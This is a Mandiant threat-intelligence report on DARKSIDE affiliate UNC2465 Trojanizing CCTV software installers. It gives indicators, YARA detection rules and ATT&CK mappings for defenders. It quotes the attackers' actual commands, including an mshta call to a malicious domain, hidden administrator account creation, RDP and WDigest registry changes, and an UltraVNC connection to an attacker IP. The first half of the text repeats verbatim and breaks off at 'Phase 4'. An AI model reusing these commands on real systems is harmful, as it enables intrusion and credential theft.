As reported in the Mandiant post, "Shining a Light on DARKSIDE Ransomware Operations," Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.

The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.

Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.

While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.

DARKSIDE RaaS

In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision. 

Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations. 

Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.

Background

In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.

On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.

Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.

Supply Chain Intrusion Cycle


Figure 1: Intrusion cycle

Phase 1: Trojanized Installer Download

Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.

The downloaded file was extracted to
C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.

Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software.


Figure 2: SmartPSS download page

Phase 2: Nullsoft Installer

The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3.


Figure 3: Nullsoft installer script section

The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content.

The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.


Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe

Phase 3: Downloaded VBScript and PowerShell

Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.

Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.

C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241

The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

<html><head>..<script language='VBScript'>..On Error Resume Next

At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code. It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant. A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.


Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content

Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.


Figure 6: SMOKEDHAM downloader

Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.

csc.exe /noconfig /fullpaths @'C:\Users\ [username]\AppData\Local\Temp\qnxfhfim\qnxfhfim.cmdline'

Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

.../t:library /utf8output /R:'System.dll' /R:'C:\windows\Microso

After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.

Phase 4: SMOKEDHAM Dropper

The SMOKEDHAM dropper (f075c2894ac84df4805e8ccf6491a4f4) is written in PowerShell and decrypts and executes in memory the SMOKEDHAM backdoor. The dropper uses the Add-Type cmdlet to define a new .NET class for the backdoor. The Add-Type cmdlet can be used to define a new .NET class using an existing assembly or source code files or specifying source code inline or saved in a variable. In this case, the dropper uses SMOKEDHAM backdoor source code that is stored in a variable.

The SMOKEDHAM backdoor source code is embedded as an encrypted string. The dropper uses the ConvertTo-SecureString cmdlet and an embedded key to decrypt the source code prior to executing the Add-Type cmdlet. After defining a new .NET class for the backdoor, the dropper executes the backdoor's entry point. The dropper configures the backdoor with a C2 server address, RC4 encryption key, and sleep interval. Figure 7 shows the deobfuscated SMOKEDHAM dropper.


Figure 7: SMOKEDHAM dropper

Phase 5: SMOKEDHAM Backdoor

SMOKEDHAM (127bf1d43313736c52172f8dc6513f56) is a .NET-based backdoor that supports commands, including screen capture and keystroke capture. The backdoor may also download and execute additional PowerShell commands from its command and control (C2) server.

SMOKEDHAM Network Communications

SMOKEDHAM communicates with its C2 server using HTTPS. The backdoor uses domain fronting to obfuscate its true C2 server. The fronted domain is configured by an earlier stage of execution and the actual domain is hard-coded in the backdoor. Mandiant observed the fronted domain lumiahelptipsmscdnqa.microsoft[.]com and hard-coded domain max-ghoster1.azureedge[.]net used for C2 server communication.

The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data.

The ID field contains a unique value generated by the backdoor for the target system.

The UUID field may contain a unique value used to track command output or be empty. When the C2 server responds with a command to execute, it sets the UUID field to a unique value. SMOKEDHAM then sets the same UUID value in the subsequent HTTP POST request that contains the command output.

The Data field may contain RC4-encrypted, Base64-encoded command data or be empty. The backdoor uses the Data field to send command output to its C2 server. The C2 server uses the Data field to send commands to the backdoor to execute. The backdoor uses an RC4 key configured by an earlier stage of execution to encrypt and decrypt the Data field. Mandiant observed the RC4 key UwOdHsFXjdCOIrjTCfnblwEZ used for RC4 encryption and decryption.

SMOKEDHAM Commands

SMOKEDHAM Base64-decodes, and RC4-decrypts command data returned in the Data field. The backdoor checks if the plaintext command data begins with one of the following keywords, shown in Table 1.

Keyword

Action

delay

Update its sleep interval

screenshot

Upload a screen capture to its C2 server via a subsequent HTTP POST request

exit

Terminate

Table 1: Plaintext command data keywords

If the plaintext command data does not begin with any of the keywords listed in Table 1, then SMOKEDHAM assumes the data contains a PowerShell command and attempts to execute it. The backdoor uploads output generated by the PowerShell command to its C2 server via a subsequent HTTP POST request.

In addition to supporting the commands in Table 1, SMOKEDHAM continuously captures keystrokes. The backdoor writes captured keystrokes to memory and uploads them to its C2 server every five seconds via HTTP POST requests.

SMOKEDHAM In Action

SMOKEDHAM was observed executing commands on the target system using PowerShell. 

The following commands were used to collect information about the system and logged in users.

net.exe user

net.exe users

whoami.exe

whoami.exe /priv 

systeminfo.exe

The following commands were used to create and add the DefaultUser account to the local Administrators group, and subsequently hide the account from the Windows logon screen.

net.exe user DefaultUser REDACTED /ADD 

net.exe localgroup Administrators DefaultUser /ADD 

reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' /v DefaultUser /t REG_DWORD /d 0 /f

The following commands facilitated lateral movement by modifying Terminal Server registry key values to enable multiple Remote Desktop connection sessions, and modifying the Local Security Authority (LSA) registry key value to require a password for authentication.

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0 /f

reg.exe ADD 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

reg.exe ADD HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LimitBlankPasswordUse /t REG_DWORD /d 1 /f

Additionally, SMOKEDHAM modified the WDigest registry key value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential to enable credential caching.

Phase 6: Follow-on Activity

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download the UltraVNC application renamed as winvnc.exe, and a configuration file named UltraVNC.ini, shown in Figure 8. These files were saved to the %APPDATA%\Chrome\ directory. The UltraVNC.ini file allowed UltraVNC to connect to port 6300 on the loopback address specified by the parameter AllowLoopback=1.


Figure 8: Contents of UltraVNC.ini

SMOKEDHAM was observed using UltraVNC to establish a connection to the IP address and port pair 81.91.177[.]54[:]7234 that has been observed in past UNC2465 intrusions.

%APPDATA%\Chrome\winvnc.exe' -autoreconnect ID:15000151 -connect 81.91.177[.]54[:]7234 –run

SMOKEDHAM created a persistence mechanism for UltraVNC by adding the application to the ConhostNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v ConhostNT /d %appdata%\Chrome\winvnc.exe

NGROK Configuration

SMOKEDHAM used PowerShell to connect to third-party file sharing sites to download an NGROK utility that was renamed conhost.exe, and a script named VirtualHost.vbs that was used to execute NGROK with a configuration file named ngrok.yml. These files were stored in the C:\ProgramData\WindNT\ directory. NGROK is a publicly available utility that can expose local servers behind NATs and firewalls to the public internet over secure tunnels.

Figure 9 and Figure 10 show the contents of VirtualHost.vbs and ngrok.yml files, respectively.


Figure 9: Contents of VirtualHost.vbs


Figure 10: Contents of ngrok.yml

The execution of VirtualHost.vbs allowed NGROK to listen and forward traffic on TCP port 6300 through an NGROK tunnel, subsequently allowing NGROK to tunnel UltraVNC traffic out of the environment.

SMOKEDHAM created a persistence mechanism for NGROK by adding VirtualHost.vbs to the WindNT value under the current users Run registry key.

reg.exe add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindNT /d C:\ProgramData\WindNT\VirtualHost.vbs

Keylogger Deployment

This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.

Mandiant then observed the attacker use UltraVNC to download two LNK files that reference the keylogging utility. The downloaded files were named desktop.lnk and console.lnk, respectively, and were placed in the following persistence locations:

C:\Users\[username]\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\desktop.lnk

%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\console.lnk

Cobalt Strike Beacon

The attacker used UltraVNC to download an in-memory dropper for Cobalt Strike to C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe. Update.exe was a Go based dropper created using the ScareCrow framework. The attacker executed C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe using Command Prompt.

cmd.exe /c 'C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe'&&exit

The execution of ScareCrow framework dropper C:\ProgramData\Cisco Systems\Cisco Jabber\update.exe resulted in the creation of a Cobalt Strike stageless payload to C:\ProgramData\Cisco\update.exe, which then established a connection to a Cobalt Strike Beacon server located at w2doger[.]xyz when executed.

Mandiant observed the attacker using UltraVNC to download and store a file named update.lnk in the %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ directory. Mandiant was not able to recover update.lnk at the time of writing, but suspects that this file was created to add persistence to the Cobalt Strike stageless payload.

LSASS Dumping and Lateral Movement

Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.

From this point, the attacker was observed moving laterally to different systems in the environment using Remote Desktop Protocol (RDP) connections.

Conclusion

UNC2465 established initial access via a Trojanized installer executed by an unsuspecting user. UNC2465 interactively established an NGROK tunnel and began moving laterally in less than 24 hours. Five days later, UNC2465 returned and deployed additional tools such as a keylogger, Cobalt Strike BEACON, and conducted credential harvesting via dumping LSASS memory.

Ransomware groups continue to adapt and pursue opportunistic access to victims. UNC2465’s move from drive-by attacks on website visitors or phishing emails to this software supply chain attack shows a concerning shift that presents new challenges for detection. While many organizations are now focusing more on perimeter defenses and two-factor authentication after recent public examples of password reuse or VPN appliance exploitation, monitoring on endpoints is often overlooked or left to traditional antivirus. A well-rounded security program is essential to mitigate risk from sophisticated groups such as UNC2465 as they continue to adapt to a changing security landscape.

Indicators

Supply Chain/Trojanized Nullsoft Installer/SmartPSS

MD5: 1430291f2db13c3d94181ada91681408
Filename: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe
Zip MD5: 54e0a0d398314f330dfab6cd55d95f38

Supply Chain/Trojanized Nullsoft Installer/SVStation

MD5: e9ed774517e129a170cdb856bd13e7e8
Filename: SVStation_Win64-B1130.1.0.0.exe

Intermediate Stage

URL: hxxp://sdoc[.]xyz/ID-508260156241
IP: 185.92.151[.]150

SMOKEDHAM LOADER

MD5: f075c2894ac84df4805e8ccf6491a4f4 (Gbdh7yghJgbj3bb.html)

MD5: 05d38c7e957092f7d0ebfc7bf1eb5365

SMOKEDHAM

MD5: 127bf1d43313736c52172f8dc6513f56 (in-memory from f075c2894ac84df4805e8ccf6491a4f4)
Host: max-ghoster1.azureedge[.]net (actual C2)

MD5: 9de326bf37270776b78e30d442bda48b (MEtNOcyfkXWe.html)
Host: atlant20.azureedge[.]net (actual C2) 

MD5: b06319542cab55346776f0358a61b3b3 (in-memory from 05d38c7e957092f7d0ebfc7bf1eb5365)
Host: skolibri13.azureedge[.]net (actual C2)

NGROK

MD5: e3bc4dd84f7a24f24d790cc289e0a10f (legitimate NGROK renamed to conhost.exe)

MD5: 84ed6012ec62b0bddcd18058a8ff7ddd (VirtualHost.vbs)

UltraVNC

IP/Port: 81.91.177[.]54:7234 (using legitimate ULTRAVNC 23b89bf2c2b99fbc1e232b4f86af65f4)

BEACON

Host: w2doger[.]xyz
IP: 185.231.68.102
MD5: a9fa3eba3f644ba352462b904dfbcc1a (shellcode)

Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide indicators associated with this activity.

Platform

Detection Name

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

  • Backdoor.BEACON
  • FE_Loader_Win32_BLUESPINE_1
  • Trojan.Win32.CobaltStrike
  • Backdoor.MSIL.SMOKEDHAM
  • Malware.Binary.ps1
  • FEC_Backdoor_CS_SMOKEDHAM_1
  • Suspicious Process PowerShell Activity

FireEye Endpoint Security

Real-Time Detection (IOC)

  • WDIGEST CREDENTIAL EXPOSURE (METHODOLOGY)
  • WDIGEST CREDENTIAL EXPOSURE VIA REGISTRY (METHODOLOGY)
  • SUSPICIOUS CONHOST.EXE A (METHODOLOGY) 
  • TASKMGR PROCESS DUMP OF LSASS.EXE A (METHODOLOGY)

Malware Protection (AV/MG)

  • Trojan.GenericFCA.Script.533 
  • Trojan.GenericFCA.Agent.7732
  • Dropped:Trojan.VBS.VGU
  • Trojan.CobaltStrike.FM
  • NGRok
  • Ultra VNC
  • SVN Station
  • Generic.mg.a9fa3eba3f644ba3
  • Generic.mg.1626373508569884

Modules

  • Process Guard (LSASS memory protection)

FireEye Helix

  • VNC METHODOLOGY [Procs] (T1021.005)
  • WINDOWS ANALYTICS [Abnormal RDP Logon] (T1078)
  • WINDOWS ANALYTICS [Recon Commands] (T1204)
  • WINDOWS METHODOLOGY [Cleartext Credentials Enabled - UseLogonCredential] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity] (T1003.001)
  • WINDOWS METHODOLOGY [LSASS Memory Access] (T1003.001)
  • WINDOWS METHODOLOGY [Registry Run Key - reg.exe] (T1547.001)
  • WINDOWS METHODOLOGY [User Created - Net Command] (T1136.001)

Yara Detections

rule Backdoor_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "9de326bf37270776b78e30d442bda48b"
    strings:
        $C2Method = { 2E 4D 65 74 68 6F 64 20 3D 20 22 50 4F 53 54 22 } //.Method = "POST"
        $domainFrontingDomain = /\.[hH]ost\s*=\s*\"[^\"]*";/
        $envCollection1 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 43 4F 4D 50 55 54 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("COMPUTERNAME")
        $envCollection2 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 44 4F 4D 41 49 4E 22 29 } //Environment.GetEnvironmentVariable("USERDOMAIN")
        $envCollection3 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 47 65 74 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 28 22 55 53 45 52 4E 41 4D 45 22 29 } //Environment.GetEnvironmentVariable("USERNAME")
        $functionalityString1 = { 28 22 64 65 6C 61 79 22 29 } //("delay")
        $functionalityString2 = { 28 22 73 63 72 65 65 6E 73 68 6F 74 22 29 } //("screenshot")
        $functionalityString3 = { 28 22 65 78 69 74 22 29 } //("exit")
        $publicStrings1 = "public string UUID"
        $publicStrings2 = "public string ID"
        $publicStrings3 = "public string Data"
        $UserAgentRequest = { 20 3D 20 45 6E 76 69 72 6F 6E 6D 65 6E 74 2E 4F 53 56 65 72 73 69 6F 6E 2E 54 6F 53 74 72 69 6E 67 28 29 3B } // = Environment.OSVersion.ToString();
   condition:
        filesize < 1MB and all of them

}

 

rule Loader_Win_SMOKEDHAM
{
    meta:
        author = "Mandiant"
        date_created = "2021-06-10"
        md5 = "05d38c7e957092f7d0ebfc7bf1eb5365"
    strings:
        $listedDLLs1 = "System.Drawing.dll" fullword
        $listedDLLs2 = "System.Web.Extensions.dll" fullword
        $listedDLLs3 = "System.Windows.Forms.dll" fullword
        $CSharpLang = {2d 4c 61 6e 67 75 61 67 65 20 43 53 68 61 72 70} // -Language CSharp
        $StringConversion = "convertto-securestring" nocase
        $SecureString1 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 53 65 63 75 72 65 53 74 72 69 6e 67 54 6f 42 53 54 52} //[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR
        $SecureString2 = {5b 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 69 6e 67 41 75 74 6f} //[System.Runtime.InteropServices.Marshal]::PtrToStringAuto
    condition:
        filesize < 1MB and (1 of ($listedDLLs*)) and $CSharpLang and $StringConversion and $SecureString1 and $SecureString2
}

MITRE ATT&CK UNC2465

Tactic

Description

Initial Access

   T1189: Drive-by Compromise
   T1195.002: Compromise Software Supply Chain
   T1566: Phishing

Execution

   T1053.005: Scheduled Task
   T1059.001: PowerShell
   T1059.005: Visual Basic

Persistence

   T1098: Account Manipulation
   T1136: Create Account
   T1547.001: Registry Run Keys / Startup Folder
   T1547.004: Winlogon Helper DLL
   T1547.009: Shortcut Modification

Defense Evasion

   T1027: Obfuscated Files or Information
   T1070.006: Timestomp
   T1112: Modify Registry
   T1140: Deobfuscate/Decode Files or Information
   T1218.005: Mshta
   T1553.002: Code Signing
   T1562.004: Disable or Modify System Firewall

Discovery

   T1012: Query Registry
   T1033: System Owner/User Discovery
   T1082: System Information Discovery

Collection

   T1056.001: Keylogging
   T1113: Screen Capture
   T1560: Archive Collected Data

Impact

   T1486: Data Encrypted for Impact
   T1531: Account Access Removal

Command and Control

   T1071.001: Web Protocols
   T1090.004: Domain Fronting
   T1102: Web Service
   T1105: Ingress Tool Transfer
   T1219: Remote Access Software
   T1572: Protocol Tunneling
   T1573.002: Asymmetric Cryptography

Lateral Movement

   T1021.004: SSH
   T1021.005: VNC

Credential Access

   T1003.001: LSASS Memory

Resource Development

   T1588.003: Code Signing Certificates
   T1588.004: Digital Certificates
   T1608.003: Install Digital Certificate

Acknowledgements

Thanks to everyone that contributed analysis and review. Special thanks to Alison Stailey, Joseph Reyes, Nick Richard, Andrew Thompson, Jeremy Kennelly, Joshua Sablatura, Evan Reese, Van Ta, Stephen Eckels, and Tufail Ahmed.

✇ Threat Research

Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise

By: Tyler McLellan

Mandiant observed DARKSIDE affiliate UNC2465 accessing at least one victim through a Trojanized software installer downloaded from a legitimate website. While this victim organization detected the intrusion, engaged Mandiant for incident response, and avoided ransomware, others may be at risk.

As reported in the Mandiant post, "Shining a Light on DARKSIDE Ransomware Operations," Mandiant Consulting has investigated intrusions involving several DARKSIDE affiliates. UNC2465 is one of those DARKSIDE affiliates that Mandiant believes has been active since at least March 2020.

The intrusion that is detailed in this post began on May 18, 2021, which occurred days after the publicly reported shutdown of the overall DARKSIDE program (Mandiant Advantage background). While no ransomware was observed here, Mandiant believes that affiliate groups that have conducted DARKSIDE intrusions may use multiple ransomware affiliate programs and can switch between them at will.

Sometime in May 2021 or earlier, UNC2465 likely Trojanized two software install packages on a CCTV security camera provider website. Mandiant determined the installers were malicious in early June and notified the CCTV company of a potential website compromise, which may have allowed UNC2465 to replace legitimate downloads with the Trojanized ones.

While Mandiant does not suspect many victims were compromised, this technique is being reported for broader awareness. Software supply chain attacks can vary greatly in sophistication, from the recent FireEye-discovered SolarWinds attacks to attacks such as this targeting smaller providers. A software supply chain attack allows a single intrusion to obtain the benefit of access to all of the organizations that run that victim company’s software; in this case, an installer, rather than the software itself, was modified by UNC2465.

DARKSIDE RaaS

In mid-May 2021, Mandiant observed multiple threat actors cite an announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and content distribution network (CDN) servers, and would be closing their service. The post cited law enforcement pressure and pressure from the United States for this decision. 

Multiple users on underground forums have since come forward claiming to be unpaid DARKSIDE affiliates, and in some cases privately provided evidence to forum administrators who confirmed that their claims were legitimate. There are some actors who have speculated that the DARKSIDE operator’s decision to close could be an exit scam. While we have not seen evidence suggesting that the operators of the DARKSIDE service have resumed operations, we anticipate that at least some of the former affiliates of the DARKSIDE service will likely identify different ransomware or malware offerings to use within their own operations. 

Notably, Mandiant has continued to observe a steady increase in the number of publicly named victims on ransomware shaming sites within the past month. Despite the recent ban of ransomware-related posts within underground forums, threat actors can still leverage private chats and connections to identify ransomware services. As one example, in mid-May 2021, the operator of the SODINOKIBI (aka REvil) RaaS indicated that multiple affiliates from other RaaS platforms that had shut down were switching to their service. Based on the perceived profitability of these operations, it is almost certain that numerous threat actors will continue to conduct widespread ransomware operations for the foreseeable future.

Background

In June 2021, Mandiant Consulting was engaged to respond to an intrusion. During analysis, Mandiant determined the initial vector was a trojanized security camera PVR installer from a legitimate website. Mandiant attributed the overall intrusion activity to DARKSIDE affiliate UNC2465 due to continued use of infrastructure and tooling since October 2020.

On May 18, 2021, a user in the affected organization browsed to the Trojanized link and downloaded the ZIP. Upon installing the software, a chain of downloads and scripts were executed, leading to SMOKEDHAM and later NGROK on the victim’s computer. Additional malware use such as BEACON, and lateral movement also occurred. Mandiant believes the Trojanized software was available from May 18, 2021, through June 8, 2021.

Pivoting on the slightly modified, but benign, MSHTA.exe application in VirusTotal, Mandiant identified a second installer package with the MD5 hash, e9ed774517e129a170cdb856bd13e7e8 (SVStation_Win64-B1130.1.0.0.exe), from May 26, 2021, which also connects out the same URL as the Trojanized SmartPSS installer.

Supply Chain Intrusion Cycle


Figure 1: Intrusion cycle

Phase 1: Trojanized Installer Download

Mandiant Consulting observed the Trojanized installer downloaded on a Windows workstation after the user visited a legitimate site that the victim organization had used before.

The downloaded file was extracted to
C:\Users\[username]\Downloads\06212019-General-SMARTPSS-Win32-ChnEng-IS\General_SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023\SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General-v1.exe.

Mandiant confirmed the user intended to download, install, and use the SmartPSS software. Figure 2 shows an image of the download page used for SmartPSS software.


Figure 2: SmartPSS download page

Phase 2: Nullsoft Installer

The installer executable is a Nullsoft installer that when executed wrote two files to C:\ProgramData\SMARTPSS-Win32_ChnEng_IS. We were able to extract the malicious installer script and files for analysis using 7-Zip. The relevant section of this installer script is shown below in Figure 3.


Figure 3: Nullsoft installer script section

The installer script created two files: SMARTPSS-Win32_ChnEng_IS_V2.002.0000007.0.R.181023-General.exe (b540b8a341c20dced4bad4e568b4cbf9) and smartpss.exe (c180f493ce2e609c92f4a66de9f02ed6). The former is a clean installer from the original developer and is launched first, installing the software as the user may expect. The latter is launched with a command line URL executing the content.

The smartpss.exe file contained metadata describing itself as MSHTA.exe from Microsoft, a legitimate operating system component, but the MD5 hash was unknown. Disassembly analysis of the program showed it was a small application that loaded the IE COM object and launched the function RunHTMLApplication() against the command line argument provided. This functionality matched the behavior of the legitimate MSHTA.exe despite the hash discrepancy. Further analysis showed that the malware was based on a 2018 version of the binary (original hash: 5ced5d5b469724d9992f5e8117ecefb5) with only six bytes of data appended, as shown in Figure 4.


Figure 4: CyberChef diff between MSHTA.exe and smartpss.exe

Phase 3: Downloaded VBScript and PowerShell

Upon execution, the modified Mshta file was executed with the URL, hxxp://sdoc[.]xyz/ID-508260156241, and passed as an argument on the command line.

Domain sdoc[.]xyz was first associated with UNC2465 by RiskIQ in a May 20, 2021, blog post researching the infrastructure that Mandiant previously reported. According to RiskIQ, sdoc[.]xyz shares a registrant with koliz[.]xyz, which was also observed by Mandiant in past UNC2465 intrusions.

C:\PROGRAMDATA\SMARTPSS-Win32_ChnEng_IS\smartpss.exe hxxp://sdoc[.]xyz/ID-508260156241

The execution of the modified Mshta file resulted in the creation of a HTM file called loubSi78Vgb9[1].htm that was written to a temporary INetCache directory. Mandiant was not able to acquire this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

<html><head>..<script language='VBScript'>..On Error Resume Next

At the time of writing, sdoc[.]xyz appeared to be active, but not returning the VBScript code. It is not clear if sdoc[.]xyz was selecting victims based on IP or other properties or was simply dormant. A PCAP from a sandbox execution on VirusTotal from May 26, 2021, also showed benign content being served.


Figure 5: PCAP from e9ed774517e129a170cdb856bd13e7e8 VirusTotal results not returning malicious content

Shortly after the download, a PowerShell script block was executed to download SMOKEDHAM, as shown in Figure 6.


Figure 6: SMOKEDHAM downloader

Within seconds, a file named qnxfhfim.cmdline was written to disk and executed using the Command-Line Compiler.

csc.exe /noconfig /fullpaths @'C:\Users\ [username]\AppData\Local\Temp\qnxfhfim\qnxfhfim.cmdline'

Mandiant was not able to recover this file at the time of writing; however, Mandiant was able to recover partial contents of the file.

.../t:library /utf8output /R:'System.dll' /R:'C:\windows\Microso

After the execution of qnxfhfim.cmdline, PowerShell initiated the first connection to the fronted domain lumiahelptipsmscdnqa[.]microsoft[.]com used by SMOKEDHAM.

Phase 4: SMOKEDHAM Dropper

